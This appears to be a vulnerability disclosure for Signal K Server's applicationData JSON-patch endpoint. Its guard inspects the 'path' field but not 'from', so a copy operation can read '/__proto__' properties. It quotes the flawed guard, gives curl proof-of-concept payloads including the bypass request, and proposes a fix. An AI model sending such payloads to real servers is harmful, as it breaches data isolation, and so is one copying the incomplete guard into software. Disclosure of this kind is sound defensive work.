Signal K Server: Arbitrary Prototype Read via `from` Field Bypass

Summary

The /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /proto/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.

While this does not allow arbitrary code execution (as the destination path remains protected from proto), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.

Vulnerability Root Cause

File: src/interfaces/applicationData.js (Lines 48-57)

const DANGEROUS_PATH_SEGMENTS = ['__proto__', 'constructor', 'prototype']

function isPrototypePollutionPath(pathString) {
  const segments = pathString.split(/[./]/)
  return segments.some((seg) => DANGEROUS_PATH_SEGMENTS.includes(seg))
}

function hasPrototypePollutionPatch(patches) {
  return patches.some(
    // [!VULNERABLE] Only checks patch.path, completely ignores patch.from
    (patch) => patch.path && isPrototypePollutionPath(patch.path) 
  )
}

At Line 201:

if (hasPrototypePollutionPatch(req.body)) {
  res.status(400).send('invalid patch path')
  return
}
jsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'

Proof of Concept (PoC)

Verify the Developer Guard Works (The Blocked Payload):

curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"op": "add", "path": "/__proto__/polluted", "value": "hacked"}]'

Result: 400 Bad Request - invalid patch path

Execute the Bypass (The Malicious Payload):

curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"op": "copy", "from": "/__proto__/toString", "path": "/stolen"}]'

Result: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the proto internal function reference.

Security Impact

This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.

Fixing Arbitrary Prototype Read

The hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:

function hasPrototypePollutionPatch(patches) {
  return patches.some(
    (patch) => 
      (patch.path && isPrototypePollutionPath(patch.path)) ||
      (patch.from && isPrototypePollutionPath(patch.from))
  )
}